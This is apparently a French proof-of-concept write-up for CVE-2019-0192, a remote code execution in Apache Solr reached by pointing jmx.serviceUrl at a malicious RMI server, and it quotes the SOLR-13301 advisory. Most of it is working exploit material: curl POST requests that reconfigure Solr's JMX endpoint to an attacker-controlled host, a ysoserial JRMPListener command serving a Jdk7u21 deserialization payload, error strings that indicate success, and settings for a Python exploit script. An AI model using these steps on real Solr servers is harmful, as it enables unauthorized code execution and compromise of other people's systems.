
RCE sur Apache Solr utilisant la désérialisation de données non fiables via jmx.serviceUrl
Ceci est un PoC précoce de la RCE Apache Solr
Extrait de https://issues.apache.org/jira/browse/SOLR-13301:
ConfigAPI permet de configurer le serveur JMX de Solr via une requête HTTP POST. En le pointant vers un serveur RMI malveillant, un attaquant pourrait tirer parti de la désérialisation non sécurisée de Solr pour déclencher une exécution de code à distance côté Solr.

En regardant la description de l'avis de sécurité et en vérifiant les ConfigAPI ressources d'Apache Solr, on peut trouver une référence à un serveur JMX :

serviceUrl - (str facultatif) URL de service pour un serveur JMX. Si elle n'est pas spécifiée, le serveur MBean de plateforme par défaut sera utilisé.
En vérifiant comment fonctionne ConfigAPI, nous pouvons reproduire comment configurer un serveur JMX distant :
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
Pour le PoC, j'utiliserai yoserial pour créer un serveur RMI malveillant en utilisant la payload Jdk7u21
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
note: vous devriez obtenir une erreur 500 avec une belle stacktrace
Si vous voyez cette erreur : "Non-annotation type in annotation serial stream", cela signifie qu'Apache Solr tourne avec une version de Java > JRE 7u25 et ce PoC ne fonctionnera pas
Sinon, vous devriez voir cette erreur : "undeclared checked exception; nested exception is" et le PoC devrait fonctionner.
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
Avis de sécurité: